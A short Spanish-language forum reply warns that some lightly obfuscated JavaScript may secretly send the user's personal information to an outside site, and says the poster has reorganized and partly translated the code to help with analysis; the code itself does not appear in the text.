El codigo está ligeramente ofuscado para que no sea legible a primera vista, no es dificil reversarlo, pero si estudias un poco de jscript seguro lograrás modificarlo... por cierto, me da pereza revisarlo porque es largo, pero sospecho que no solo coloca ese aviso pendiente con esos codigos que al usarlos sin saber pueden ser "peligrosos" (enviar infomacion personal tuya a algún sitio)

te lo dejo aquí bien organizado y visible para ayudarte

---modificado---
traduje lo más complicado para que se te haga más facil el analisis
